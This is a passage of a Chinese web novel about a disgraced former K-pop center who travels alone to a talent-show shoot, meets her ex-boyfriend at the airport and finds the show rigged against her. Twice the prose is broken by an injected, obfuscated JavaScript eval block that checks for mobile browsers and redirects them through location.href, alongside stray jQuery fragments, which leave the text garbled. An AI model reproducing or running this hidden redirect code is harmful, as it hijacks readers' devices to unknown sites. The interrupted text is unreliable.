而且减肥这种事情也初有成效，在她坚持一周只吃水煮青菜等减肥餐，一周时间减了差不多5斤。 已经尽了全力去准备录制这次的综艺了。 虽然节目组提前防爆她，甚至想要直接献祭她，但是她还是觉得，尽人事听天命吧。 在录制倒计时仅剩24小时的时候，沈亦凝收到正式录制通知，她买了机票，赶往《破茧出道营》的拍摄现场。 《破茧出道营》的拍摄地在芗城，飞机航程八百公里，用时要两个小时左右。因为是在异地，公司都抠门，没有给沈亦凝配备助理，她一个人拖着大包小包的行李，实在是有点儿困难。 孟觅夏送她去机场的时候，第N次问她，“你这次要不要我陪你一起去芗城？” 沈亦凝笑，“你不是还要工作呢。” “我几天不去‘云岫’都没事，我算半个老板娘呢，谁会骂我。” “我没事的，已经是成年人了，坐个飞机而已，你不用担心我。”沈亦凝从孟觅夏的手里接过小包，朝她挥了挥手，“走啦，你回去要小心。” 孟觅夏朝她挥挥手，“好吧，祝你一路顺风！” 沈亦凝笑着回头挥了挥手，而后拉着沉重行李，头也不回地走向检票口。 其实毕竟路途遥远，多一个孟觅夏帮忙，会容易很多，但是沈亦凝不愿意这样，耽误了孟觅夏的工作不说，会让她对别人产生依赖。 毕竟她现在在内娱很糊，事业真正变好起来，有资格向公司问个助理的日子不知道什么时候才能到来。 像现在这样，一个人赶飞机的情况不知道还有多少次，总不能每次都要找孟觅夏帮忙吧。 她总要独自面对的。 虽然沈亦凝是真的糊，但是她也真怕在飞机上遇到黑粉，于是戴着墨镜、鸭舌帽和口罩。 真的就是全面武装。 就算是亲妈来了，都不一定能够认得出来的那种。 坐在沈亦凝旁边座位的，也是一个模样很年轻，长得很时髦的女生，飞机正式飞行了一段时间之后，那女孩就打开ipad，开始看起来了舞台表演。 起初沈亦凝是没有注意到身旁那个女生的，直到余光瞥见那个女孩ipad屏幕的时候，她整个人顿住。 视线也有些不受控制地停留在那人的ipad屏幕上。 ——只因为那个女孩正在看SNT女团的唱跳舞台，而且还是在前两周马来西亚的演唱会回放。 SNT里每个成员外貌精致，腿身比例优越，头肩比和头身比都格外出色。但是比起舞台表现来说，外貌只是她们最不值得一提的优点之一，毕竟是从韩娱杀出来的女团，舞台感染力格外强。 在马来西亚的这场演唱会中，表演到“DarkEveningParty”这首出道曲时，C位主舞表现最为优异，标志性的wave动作流畅自然，身体如波浪般起伏，力度恰到好处。 沈亦凝用余光看完了整个舞台，只觉得两年不见，SNT女团的舞台真的越来越好了。 虽然瑕疵也不是没有，但比起两年前，确实好了不少。 沈亦凝心里也还有点遗憾，被公司打压回到内娱，并且转型当演员这两年，她羡慕过SNT的其它成员。 她们还能够如此风光站在舞台上，在全世界开着自己的演唱会。 而她……如今却还要以练习生的身份，去参加选秀比赛，前途未卜。 舞台接近尾声，沈亦凝默默地收回了视线，下一秒听到耳边传来一声格外清晰，且带着几分嫌弃地叹气声。 原来是那个女孩子在跟朋友们发微信语音，她已经刻意压低声音，不去打扰到其他人休息，但是沈亦凝还是十分清楚地听到了她在说什么。 “真遗憾啊，当时出差没去看SNT演唱会，她们最近马来西亚舞台真的绝了。” 实话实说，在别人提起SNT时，沈亦凝还或多或少会觉得有点儿难过，毕竟当初她花了这么长时间，才好不容易得到的出道机会。 她不愿意再继续听下去，从背包里掏出耳机，准备听歌。 打开听歌软件，开始随机播放音乐。 在戴上耳机的上一秒，听到那女孩继续说，“她们的舞台确实越来越好了，新来的C位表现也很棒，但是还是没以前沈亦凝在团时有感觉，这个团对我来说吸引力变小了，有这个钱不如去看祁致的演唱会。” “……”沈亦凝戴耳机的动作微微一滞。 她在内娱很糊，只在黑粉眼中存在感高，实则没有多少路人认识她。却没想到居然能够在坐飞机的时候，都能够碰到一个混kpop的祁致歌迷。 孽缘啊。 这个世界真是太小了。 女孩还在微信上和好朋友激烈讨论。 沈亦凝本来要戴到耳朵上的耳机，一直没戴上去。 好吧，本来她是不愿意听的，但是一听到对方已经提到了自己的名字，沈亦凝就直接打起了十二万分的精神。 手里沈亦凝捏着耳机，竖起耳朵认真开始听墙角。 女孩朋友回复她，“毕竟是Center，舞台核心都走了，换了个新C，实力是有，脸不够好看。让朴智恩站C还好点，漂亮女孩就应该站中间。” “但她实力很差……” “那SunriseTribe真是完了，如果沈亦凝现在还在团，不至于这个团一直打不开内娱市场，而且在外娱涨粉也好慢，作为老粉，我真是伤心了。” 聊到这里，女孩沉默了。 SNT全称「SunriseTribe」，在两年前达到全盛时期，组合内有两名成员ins粉丝突破两千万，分别是门面担当朴智恩和Center沈亦凝。 自从舞台核心沈亦凝退团，SunriseTribe虽然依旧在发展，但是毕竟人气成员之一走了，跑回中国演戏，组合关注度大幅下降。 后来虽有回血，但是上半年韩娱又推出新人女团Lumos、Glimmer又分走一部分关注，毕竟上新款才是王道，女团就像快时尚商品，过期了就会被替代。 SunriseTribe已经出道四年，错过了最佳时期，能够站上多高的地方基本已经成了定数，她们最红火的时候，应该还是在两年沈亦凝在团的时候。 女孩沉默几秒钟后，开始和朋友狂喷，“真的越说越上火，如果沈亦凝现在在我面前，我肯定捶死她。” “我同意，我也锤。” 果然是意料之中的走向。 “待锤”的沈亦凝默默戴上耳机，“……” 却没有想到，在戴上耳机之后，耳机里传出来的声音，居然如此熟悉。 是祁致的歌。 他的声线很特别，嗓音极具辨识度。 几乎只用了短暂三秒钟时间，她就听出来了唱歌的人是谁。 沈亦凝没想到自己竟然会应激，手一抖，耳机被她拔掉，音乐播放暂停。 她的动静不算大，但是身旁那年轻女孩还是扭头瞥过来一眼，正好瞥到她的手机屏幕上是听歌软件的页面，播放的还是祁致的歌。 女孩误以为偶遇同担，她这人外向又自来熟，笑嘻嘻地凑过来，“小姐姐，你原来也喜欢听祁致的歌，你是芝士球吗！同担啊同担，你真有眼光！” 沈亦凝露出了一个无比僵硬的表情，她本来想否认，但是对上女孩热烈的目光，她把“我不是”几个字吞回肚子里，“嗯，对。” 不忍心否认，怕女孩会失落和尴尬。 但是得到肯定回答之后，女孩便扯着她，开始疯狂聊起了祁致这个人。 导致快两个小时的路途，都在接受祁致狂热粉丝的安利洗礼。 沈亦凝只是默默把口罩拉得更上一点，盖住她的整个面容。 生怕被暴露真实身份之后被当场捶死。 - 下午五点二十分。 沈亦凝顺利抵达芗城，她一下飞机就赶紧溜了，深怕被人追上。 具体录制地在芗城的某个度假区，已经是一个够偏僻的地方了，再加上《破茧出道营》官方已经提前发过微博，为了不影响机场秩序，呼吁粉丝们不要进行接机行为。 但是出机口依旧有大批粉丝在排队，举着个手机怼着出站的方向进行拍摄，机场里的安保拦都拦不住。 那阵仗是真的大。 沈亦凝扣上墨镜，只想着尽可能降低自己存在感，偷偷溜走，但是却依旧吸引了不少注意力。 她明明都已经打扮得够严实了，那群接机的就像是自带雷达一样，看到她远远出现就纷纷举起手机对准她，甚至都不知道她是谁，就开始狂拍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084230|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这人谁啊，这人是谁，舞蹈导师宋晚照？” “宋晚照不是这个发色啊，应该是温家小公主温南乔吧，那个小千金练习生。” “不知道不清楚，身材好个子高，隔着个墨镜口罩都觉得她是个美女。” “先拍了再说呗，不拍才不拍。” “卡卡卡”，镜头怼着她，拍了一张又一张，沈亦凝倒抽一口凉气，转身要走，机场这么大，她还不能换个出机口了嘛！ 反正绝对不能走这里，她也不想走这个方向。 但是就在沈亦凝准备往后走的时候，有好几十个人瞬间追了上来，嘴里还喊着，“她跑了，她绝对是明星或者练习生，追上去拍她！” 不是吧，你们要不要这么疯狂啊，她一时之间分不清这群人究竟是粉丝还是代拍，只是吓了一跳，拖着大包小包行李赶紧跑。 毕竟沈亦凝身边没有助理没有保镖，要是被围住，她不知道花多长时间才能挣脱，但是这群人碰巧还是她的黑粉，发现她的真实身份后，恐怕能够一人一口唾沫把她给淹死。 她不跑还好，一跑嫌疑就更大，那群人就更加兴奋，在她身后举着相机追她。 而在沈亦凝转身刚走没几步，听到前方有人欢呼，“祁致！！祁致下飞机了！！” “这辈子值了，居然来芗城出差，刚好撞上祁致。” “他快出来了，快出来了。” “赶紧在他走到vip通道之前拍个照片。” 沈亦凝脚步顿住，突然觉得有点无语，前有财狼后有猛虎，她再继续往前走，说不定还要和祁致那波人撞上。 她站在原地犹豫了几秒钟，身后那群人已经追上来了，几十个人把她团团围成个圈，嘴里喊什么名字的都有。 沈亦凝强装镇定，“我不是明星，不要拍我了。” “她打扮这么可疑，绝对是！” “虽然戴着口罩，但是看起来跟其他人不是一个次元的。” “小姐姐能摘下口罩吗？我们拍一下，拍一下就走。” “不给拍能签个名吗？别耍大牌好不好。” “我们追着你拍也很累的。” 原来是代拍啊，那就更不能摘了。 沈亦凝握着行李箱，有点崩溃，此时机场有两个安保同时出现，小跑过来挤开人群走到她面前，态度不算不好，只是嗓门有点大，看起来很凶地质问她，“你是谁？哪个明星，造成机场拥堵了知不知道，你去几楼啊你现在要去几楼，快点离开！” 室内拥堵确实影响不太好，容易造成踩踏，两位安保看起来确实有点儿凶，沈亦凝也能够理解，“我要出机场。” “出机场走这边。”安保上手推了她一把，“直接走vip通道，快点过来，速度离开！！” 沈亦凝没料到安保会动手，脚步踉跄了一下，人群中有路人大骂： “谁啊，别堵了，快点走行不行？” “走开，让开，明星了不起哦。” “路堵着很凶险，我要赶飞机！” “这群堵路拍照的人也是神经病！” 沈亦凝拖着行李箱跟随安保的步伐快速往vip通道离开，她被骂心里也不好受，但也理解大家的怨气，一个劲道歉，“对不起对不起。” 她也想快点儿离开啊。 但追着拍那群人依旧不放过她，伸手过来就要扯她，她只是默默在把衣角重新扯回来。 好不容易被安保护送到vip通道，十几米的距离走了很久，沈亦凝都不知道说了多少次“抱歉”和“谢谢”。 安保一心想要快点儿把沈亦凝这个麻烦给送走，在快到vip通道的时候，又推了她一把，“快进去，以后出门找个保镖别堵路了！” 沈亦凝脚步又是一个踉跄，身后一双手出现轻扶了她一下，把她扶稳后很快松开，与此同时她耳边传来一个淡淡的声音，“她一个女生，也没必要推人吧。” 男人抬了抬帽檐，露出一双淡漠的眼，面无表情地瞥了安保一眼。 “谢谢。”沈亦凝回头道了声谢，男人视线从安保身上收回，云淡风轻地和她对上视线。 是祁致。 他的目光十分平静，看不出有什么情绪，应该是没认出她来，毕竟她现在打扮成这样，亲妈来了估计都认不出，更别说祁致了。 估计今天在他面前被推的是其它女生，他也会帮忙的。 沈亦凝又说了一声谢谢，侧开身子让他和他的助理保镖先走。 主要原因是她东西太多，走得慢，估计会堵着她。 但是她万万没有想到，祁致没动，只是低头翻找了一下背包，找出一张创可贴递给她。 这是十分普通的医用创可贴，没有颜色，没有图案。 曾经的祁致也经常创可贴不离身，因为她经常受伤，她抱怨过创可贴贴着很丑，如果有粉色的HelloKitty创可贴就好了。 他说，“那种创可贴网上有卖。” “那你以后帮我买那种，我要粉色的，贴起来好看。” 他当时表情有些无语，评价她，“矫情，效果都是一样的。” 她瞪他一眼，他只是笑。 但后来祁致的确换了，买了五颜六色的创可贴，有HelloKitty有哆啦A梦还有倒霉熊，甚至有小猪佩奇。 分手之后，他又重新换回了这种简洁款。 沈亦凝愣了两秒拒绝，“不用了，谢谢。” 祁致没说话，只是沉默着用手指指了指她的手臂。 沈亦凝低头一看，这才发现自己手臂处有几道抓痕，甚至有个地方已经破皮出血，应该是刚才推搡的时候，被代拍的美甲抓伤的。 她只好接过创可贴，“谢……” 话还没说完，祁致已经转身，快步从她身边擦身而过，速度快到甚至挂起了一阵风。 毫无留恋的样子。 15. 祭天剧本 沈亦凝目光控制不住停留在祁致离去的背影上。 祁致曾经搞过乐队，后来不知道什么原因进了娱乐圈，圈里人评价他，长得好唱得好，仪态也好。 他离去的背影肩背挺直，身姿如松，步伐稳定，很快消失在她的视线里。 匆匆而来，把一张创可贴随手丢给路边一只受伤的小猫，而后又匆匆离去。 沈亦凝肯定祁致应该没有认出她来。 她眨眨眼，回过神来，随后的第一反应是扭头看四周有没有路人看见他们刚才的互动，或者是有没有人拍照。 好在这儿是vip通道，能够从这儿经过的人本来就少，附近没有看到任何可疑人员，她的心这才放心下来。 沈亦凝松了口气，没用他递过来的这枚创可贴，而是随手把它揣进了包里，掏出一张纸巾来擦了擦自己手臂上的伤口，就算是简单地处理过了。 为了防止有人拥堵，《破茧出道营》节目组派了车过来接人，不用自己打车过去。 她拉着行李箱从vip通道走出机场，看到通道门口停着两辆贴有“破茧出道营”logo的旅行大巴车。大巴车附近有十几个安保保镖守着，不让闲杂人等靠近，粉丝或者是代拍只能远远地拍摄，保证了众人的安全。 说节目组不靠谱吧，它还派了专车过来接人，说节目组人性化吧，它又格外抠门，派来的车是两辆普普通通的旅游大巴。这大巴车估计是用来接普通练习生的，两辆车接送百名学员也是绰绰有余。 而像大咖位的导师、制作人之类的，就有专车接送。 沈亦凝放好行李进大巴车车厢底部的行李舱，向安保和守在那儿的工作人员提供了练习生工作证。工作证上边有她的姓名照片等身份信息，经过检查之后就顺利上了大巴车。 车上已经坐了大部分的人，满满当当的，沈亦凝随便找了一个后排的位置坐下，身边一片安静，很少有人主动说话。 也是，现在都还是初次见面，一群人都还不怎么熟悉，大部分人沉默很正常，只有少数比较社牛的人交到新朋友。 亦或者是本来就是同一个公司的练习生，早就已经形成了自己的小团体，正凑在一起小声讨论八卦。 沈亦凝属于沉默的那部分人，YE娱乐送来这个综艺参加选秀的学员有几个，但是全都是爱豆部的。 YE影视部被送过来的只有她一个练习生。 她不算社牛，又没有认识的人，于是上车之后只有眯眼小憩，尽量降低自己的存在感，等待大巴车在傍晚六点半准时发车前往正式拍摄地。 只不过她没能休息好，因为自从她上车坐下，闭眼准备休息的时候，前后左右的人基本上都在小声哼歌。 哼歌就算了，而且奇怪的是她们居然哼的还是同一首歌，仔细竖起耳朵听，好像大半个车厢的人不是在哼歌就是在记歌词和舞蹈动作。 她们的声音吵到沈亦凝，让她没办法闭眼休息是一方面，更重要的是她的右眼皮从上车之后就一直在跳。 正所谓左眼跳灾右眼跳财，沈亦凝的第六感告诉她，事情好像有点儿不太对劲。 沈亦凝想了想，最终还是决定问个清楚究竟是怎么一回事儿。她把墨镜摘了，拉了拉口罩，主动跟旁边的女生打招呼，“能问一下你们在唱什么吗？” 女生扫了她一眼，表情有些疑惑，“你不知道？” “我不知道。”沈亦凝表情疑惑，她难道应该知道吗，她们唱的歌，好像她听都没有听过，应该不是目前已经发行了的歌曲吧。 她无聊或者睡觉的时候都会听歌，听歌类型不限，范围甚广，虽然不敢说市场上正在流行或者是二十年前到现在流行过的歌都听过。 但是不至于现在大半个大巴车的人都会唱这首歌，唯独她是第一次听。 这也是沈亦凝觉得事情的诡异之处。 女生一听，模样看起来十分地震惊，秀眉轻皱，眼睛瞪大，“我们在唱主题曲《ChasetheGlory》，一个月前节目组就已经把音频给我们了呀，这是明天直播的时候，每个学员都要表演然后参与评级的，你真的不知道？” 女生脸上的表情充满了不可置信，就差把“怎么可能”这几个字直接写在脸上了。 《破茧出道营》在芗城拍摄，这是一个由星果TV这种大平台联合出品，观众盘很大。 第一场录制自然是导师和音乐制作人、全民制作人代表出场，接着是一百个练习生依次出场，还有各种介绍之类的东西。 接着就是练习生自我评级和选座，最后是按经纪公司抽签顺序进行表演，表演结束之后，由导师制作人代表给各位练习生进行评级。 第一期的内容主要就只有这三个部分，而这期内容采取直播的形式吸引观众过来看。 为了保证直播的正常进行，一个月前，节目组在正式海选结束之后，就给每个确定录制节目的百名学员在线上发送了节目主题曲《ChasetheGlory》的在线音频。 ChasetheGlory，追逐荣耀。 这是一个完整的唱跳舞台，也是第一期录制评级的时候，每个学员都要表演这首曲子。 同一首曲子进行评级，而且每个练习生都是一样的联系时长，比赛赛制特别公平。 今天正式到拍摄地集合，分宿舍，明天晚上八点半准时进行录制，现在距离正式直播仅剩十几个小时。 突然有人说不知道节目主题曲是什么，女生怎么可能会相信？ 毕竟明天能否跳好主题曲，直接影响评级，万一没表演好这个舞台，直接进了F班……离被踢出节目组也不远了。 女生宁愿觉得沈亦凝是在玩抽象，“你是真不知道啊？” 这是她第三次问出这句话了，充分表达了她的不可置信。 “……”沈亦凝听了女生的话，心瞬间凉了半截。 沈亦凝本来就是正经女团出身，像参加这种唱跳型的选秀节目，对于她来说，简直易如反掌。 如果她本本分分进行拍摄，没有节目组和公司背地里的各种骚操作，沈亦凝估计能够依靠自身实力吸引到一波舞台粉，甚至还能够通过这档节目彻底翻红。 但是沈亦凝知道有有附加合同在身的那一刻，她便知道一直都在防爆她的狗公司肯定还会各种骚操作，让她吸不了一点儿粉。 沈亦凝合理怀疑主题曲《ChasetheGlory》就是公司和节目组打压她的第一关。她现在还不知道这件事情，而明天就要开始直播录制，如果说这里面没有一点儿内幕，那是绝对不可能的。 沈亦凝深深吸了一口气，强迫自己冷静下来，“你可以发给我一份舞台视频吗？” 女生愣了两秒钟，认真盯着沈亦凝的看了一会儿，她只能看到沈亦凝露出来的眼睛。 沈亦凝的眼型细长，外眼角微微上扬，呈优雅的S型弧线，是很标准的狐狸眼，即使看不清全脸，也不难看得出来她的确是个大美女。瞳孔明亮而清澈，黑白分明，一点儿都不像是在说谎的样子。 女生也不明白为什么其它练习生都有这个舞台视频，唯独沈亦凝没有，掏出手机来，“那加个微信吧，我直接传给你。” “谢谢。”沈亦凝加了对方微信。 “不客气，毕竟以后都是练习生，说不定之后我们还在同个舞台一起表演呢，互相帮忙也是好的。”女生把主题曲考核视频发给沈亦凝，主动打开了话匣子，“我叫荆冬灵，幻维星娱的练习生，你呢？” 沈亦凝卡壳住，一时之间不知道应不应该把自己名字给爆出来。毕竟……她最近在网上的风评并不是很好。 从她回到内娱发展之后，她的黑粉时不时把她顶上热搜，前不久还爆出自己跟祁致曾经的恋情。 沈亦凝上这个综艺都已经做好了被骂的准备了，而她也相信，在这个风口上，应该不会有人会愿意靠近她。 毕竟以后若是被爆出来跟她关系好的话，被一些小黑子抓住这个事情开始大做文章，那肯定对前途有所影响。 于是沈亦凝沉默了几秒钟，才吞吞吐吐地说出自己的名字，生怕荆冬灵嫌弃她。 果然，荆冬灵在听到“沈亦凝”这三个字的时候，瞬间瞪大了自己的眼睛。 内心已经有一万只羊驼跑过。 沈亦凝的资源在内娱上是十八线，但是在黑粉的不懈努力之下，她知名度其实算得上是三四线的小花了。 荆冬灵又是玩音乐唱跳的，不可能不知道沈亦凝是谁。在百名学员中，沈亦凝的知名度更是属于top级别，甚至早有听闻她是节目组内定出道的皇族之一。 荆冬灵呼吸一窒，没想到自己还没开始录制，就碰到了这样的重量级人物，甚至坐在沈亦凝前后左右的几个女孩子都纷纷扭过头来，快速地瞥了她一眼。 像是在看什么珍稀动物一样。 荆冬灵轻“哦”了一声之后，就低头继续看着自己手机上的舞台视频，进入了沉默，不再继续跟沈亦凝搭话。 沈亦凝也意料到了这种情况，虽然她目前身上流量高，但是靠她太近不是一件好事。 她也没太纠结其他人对她若有若无地刻意疏远，低头开始争分夺秒地看起了舞台视频，认真分析和学习起来。 《ChasetheGlory》这首歌作为考核内容，总体来说不算太难，无论是歌曲还是舞蹈方面，难度都是适中水平。 歌曲节奏明快，极具青春活力。而且歌词重复出现，简单易记，音域跨度适中，演唱难度并不算高。 比较难的应该是舞蹈，动作幅度大，踢腿跳跃等高难度动作多，十分消耗体力，有不少wave动作，也很考验基本功。 对于普通练习生来说，一个月准备这个舞台表演，是时间刚好够的。 即使是专业的爱豆团队，学习完这个舞台绝对需要之前一两周时间—— 熟悉歌曲可能需要1-2天，舞蹈分解学习可能需要3-5天，然后是整体合练和调整，可能需要1-2周。 但是如果明天八点半录制节目的时候，就开始进行拍摄，那么……留给她的时间就只剩下了十几个小时。 十几个小时，不吃不喝不睡觉，沈亦凝也不可能完美完成这个舞台，最多只能做到把歌唱完舞蹈跳完，完成度可以保证，完美程度……是不可能完美的。 沈亦凝严重怀疑节目组是想要明天直播录制的时候，让大家在直播间里把她给骂死。 她没时间内耗，开始抓紧时间记歌词，由于实在是太投入，以至于大巴车正式到达录制地点之后，她还不知道，仍然低头沉浸式地看着手中的舞台视频。 还是荆冬灵下车的时候，轻轻拍了拍沈亦凝的肩膀提醒她，她才反应过来到了。 一群人浩浩荡荡地下车，此时已经是晚上八点钟，距离《破茧出道营》正式拍摄还有12个小时的时候。 工作人员一一查找行李，收走了一些不给带的东西，包括且不局限于手机、ipad、对讲机以及手表现金首饰之类的东西，而后拖着行李箱前往分配好的宿舍。 沈亦凝的手机被收走的那一瞬间，她只觉得天都塌了，没有了荆冬灵发给她的那个舞台视频，她到那里学？ 工作人员把所有人都放进宿舍之后，唯独让沈亦凝一个人留了下来，当着众人的面说是有什么其它的事情要单独跟她说。 其它练习生拖着行李箱走的时候，三步一回头地看她，而后跟自己的小伙伴们偷偷开始说八卦。 荆冬灵离开之前，也好奇地瞥了唯一一个留在原地的沈亦凝一眼，而后转身离开了。 一群人到达宿舍之后，没有了摄像头，也没有摄影师跟拍，开始激烈讨论起来。 “被单独留下来那个，就是最近在网上很火的沈亦凝啊，她为什么刚来的第一天就被单独留下来，节目组太区别对待了吧？” “没办法，谁让她是皇族呢，网上不都说七个出道位，有一个早就内定她了吗。” “靠，大家过来看，我看到工作人员塞了一个ipad给她，为什么啊，为什么节目组把我们的电子产品都收走了，唯独给她留一个ipad？” 练习生来的时候，就已经签订了合同，合同上明确规定，在录制期间不能够携带各种电子产品，就连传呼机智能手表之类的都不能用，更别说是ipad了。 这不是明显的作弊么！ 在阳台看戏的众人纷纷得出一个结论：“皇族，绝对是皇族！” “皇族本皇”沈亦凝看着工作人员递过来的，贴着节目组logo的ipad，只有点儿想笑。 当着众人的面把她单独留下来，又直接在练习生宿舍楼下直接明目张胆地递给她一个ipad，生怕其它练习生不知道节目组区别对待一样。 这波操作不是故意给她树敌是什么。 戴着工作牌的工作人员面无表情地说，“ipad里有主题曲的完整舞台视频，你照着学，明天会录制。” 一旁另一位工作人员解释，“这段舞台是百名练习生初舞台评级的主要考核内容，第一期录制每个练习生都是唱跳这段主题曲进行评级，请你快点练习。” 沈亦凝其实早就知道了这件事情，刚才就在车上背词，背了整整两个小时，一边背一边怀疑节目组是不是不打算把主题曲这件事情跟她说了，没想到下车之后就拿到了舞台表演的视频。 沈亦凝被气笑了，虽然已经早就知道了节目组这是故意的，此时的她还是控制不住地发飙，“现在距离正式录制还有十二个小时，你叫我在十二个小时之内学一段唱跳舞蹈？是你们疯了还是我疯了？” 更何况现在还是大晚上，她不用睡觉了么？ 两个工作人员继续面无表情，像个人机一样没有感情地念台词，“现在还剩下十一个小时五十分钟，你还是抓紧时间练习吧。”把话带到之后，两人丢给她一个薄薄的小本子，就直接离开了原地。 只留下一脸无语的沈亦凝，她低头看了一眼手中的ipad以及那个薄本子，本子的封面写着几个大字：「第一期录制剧本」。 翻开本子往下看，彻底看清楚里面的内容之后，沈亦凝瞬间两眼一黑。 她从爱豆部来到影视部之后，公司就一直给她塞各种恶毒女配的本子，让她花费大好青春时光，辗转在各个剧组，演遍了无数恶毒女配。 拍戏的时候给她塞恶毒女配的本子就算了，怎么让她来录个舞台综艺，也塞给她这种恶毒人设的剧本。 综艺还没正式开拍，沈亦凝就已经能够料想到，自己在拍摄综艺的时候，照着剧本上的剧情开始演戏，该会有多让人下头了。 一边是十二个小时内必须学完一个舞台，一边是令人下头的综艺剧本。 不用想都知道明天直播绝对会被喷成黑炭，感觉所有人都在等着看她的笑话。 沈亦凝无比颓废地拉着行李箱，走进练习生宿舍大楼。 《破茧出道营》练习生宿舍一共有25个宿舍，每个宿舍住4个人。 沈亦凝拖着行李箱找到自己所在的024宿舍楼，刚推门进去，就看到了一个很熟悉的面孔。 是大巴车上坐在她旁边的那个女生——荆冬灵，另外两个女生不认识，但是节目组刚给每个人都发放了胸牌，就戴在胸口处，方便录制的时候给观众认人，也方便做后期。 沈亦凝大致扫了一眼。 知道了这三个人均来自同一个公司幻维星娱。 而她算一个外来人。 本来荆冬灵还在说话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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起初荆冬灵也信了这个事情。 但是在车上的时候，提到主题曲时，沈亦凝那吃惊的眼神，实在不像是装的，如果是装的，那么她的演技也实在是太好了。 但是也安全没有必要装呀，毕竟……在她们面前装自己没听过主题曲这件事情，没有多大的意义。 更何况，出去偷偷训练这种事情更没什么好说的了，难道多训练一个晚上就能够拿A？压根不可能，否则这个晚上百名练习生都不用睡觉了，直接出去跳一个通宵，明天坐等拿A就好。 而且如果沈亦凝真的已经被内定能拿A，她更没必要抓紧时间偷偷出去训练。 荆冬灵一路分析下来，得出一个结论，那就是：沈亦凝是真的不知道有主题曲考核这件事情，而是在今晚节目组才给她ipad让她练舞，她争分夺秒出去训练，也就更加证明，她的确对这个舞台不熟练、没信心。 只有这个说法才能够解释得通。 但是荆冬灵不愿相信，毕竟沈亦凝这样的人，大家都觉得她拿的是皇族剧本，怎么可能会拿到像她分析的这种祭天剧本，完全不合理好不好。 除非沈亦凝的公司打算彻底把她雪藏。 荆冬灵想到一半也懒得想了，毕竟沈亦凝究竟怎么样，跟她也没有半毛钱关系。她从箱子里掏出一本本子，上面记录了主题曲的歌词，开始认真地重新复习一遍。 沈亦凝离开练习生宿舍大楼之后，就开始寻找能够唱歌练舞的地方。 总不可能在外边的空地上练舞蹈，毕竟外边有很多蚊子，甚至也没有任何灯光，压根就不适合练舞。 她在寻找练舞室。 节目组绝对有练舞室开放，毕竟这是一个选秀节目，练舞室是绝对会有的。 沈亦凝在韩国当训练生的时候，就经常在练习室练舞甚至可以练通宵，如果是在是累了，就在训练室躺下就睡。 简直已经习惯了。 于是她打算今天晚上也直接来一个通宵。 沈亦凝从宿舍大楼前往训练大楼的路上路过了食堂，站在门口远远地都能够闻到食堂里传来诱人的饭香味，她也听到了自己肚子忍不住咕咕叫起来的声音。 没忍住吞了口口水。 这一周她都在减肥，每天都在吃减脂餐，今天坐了一天飞机，从中午到现在都没吃一点儿饭。 肚子和胃在这个时候发出抗议，强烈要求进食。 沈亦凝只是在门口站着看了一会儿，转身离开。 如果现在是中午，她估计会吃一点儿充饥，但是现在已经是大晚上了，吃一顿宵夜前几天的努力全都白费。 她还是忍着饥饿继续前往训练大楼。 沈亦凝深更半夜偷偷前往训练大楼这件事情，节目组和部分路上偶遇她的练习生都知道了。 练习生们在背后偷偷蛐蛐她，包括且不局限于，“她怎么大半夜还去训练”，“谁知道啊直接冲着A去的吧”，“不过她真的很漂亮啊”，“不然怎么可能会直接被节目组力捧呢”。 跟拍摄影也注意到了，直接和导演制片汇报了这件事情，“有学员去训练大楼了，要去跟拍吗？” “是哪个学员。” “沈亦凝。” 导演挥挥手，“不用跟拍，反正她正片镜头不会很多。” “拍了也会被删掉。”制片也摇头，“今天可以直接下班了，前几期非直播不拍摄。” 训练大楼里漆黑一片，好在楼道里有声控灯。 沈亦凝不是多胆小的人，直接爬楼寻找门开的训练室，像训练室这种地方，多半是不会上锁的，毕竟选秀综艺也不是没有学员会偷偷训练到很晚。 更何况训练室里也没有什么值钱的东西，难不成还用担心什么东西会被偷么？这简直就是天方夜谭。 但是事实证明，《破茧出道营》这个节目组是真的傻der，从来不走寻常路的那种。 从一楼到五楼，每个训练室都上了锁，简直就是离了个大谱。 沈亦凝不死心，继续爬楼。 还剩最后一层楼六楼，如果六楼的所有训练室也都全部上锁的话，那她就真的要随便找个空地，借着熹微的路灯灯光练习跳舞了。 等她踏上六楼的楼层之后，她得到了一个好消息和一个坏消息。 好消息是：在她踏上六楼时，有一个训练室在泛着暖黄色的灯光，证明那个训练室正开着，并且有人在。 坏消息是，在她偏过头看过去的那一秒，灯光熄灭，随着“咔嗒”一声清脆声响，训练室被人落上了锁。 四周黑暗，沈亦凝看不出不远处站着的人是谁，只能够确认落锁的人高瘦、肩宽腰细，背对着她的年轻男人。 她以为是管理人员，试探性地对那个背影打招呼，“你好？” 男人的脸微逆着月光，听到这边的动静，偏过头来，视线缓缓地落在她身上，眼神平静，却又晦暗不清。 熹微月色之下。 他手中的钥匙泛着银冷色的光。 而随着她刚才的那一声“你好”，楼道里的声控灯亮起，明亮的灯光在两人中间闪烁了整整两秒钟。 短暂的两秒，已经足够两个人看清对面站着的人究竟是谁。 沈亦凝呼吸骤停。 灯光熄灭之后，只留下了朦胧月色。 淡淡的浅银色月光，自他的肩头悄然流淌，一路蜿蜒至她的脚尖。 像一条缠绕不清的银色细线，紧紧连接在两个人的中间。 “有事？”在她转身要逃的上一秒，清冷声色响在身后。 让她避无可避。 16. 爱心便当 沈亦凝看清楚来人，下意识地退后一步。 也几乎是条件反射性地抬头看一眼楼道口和天花板，警惕周围是否有摄像头把他们的身影录进去。 祁致注意到她的动作，瞬间明白她抬头看一眼天花板的意图。 毕竟这几乎已经是她的标志性动作。 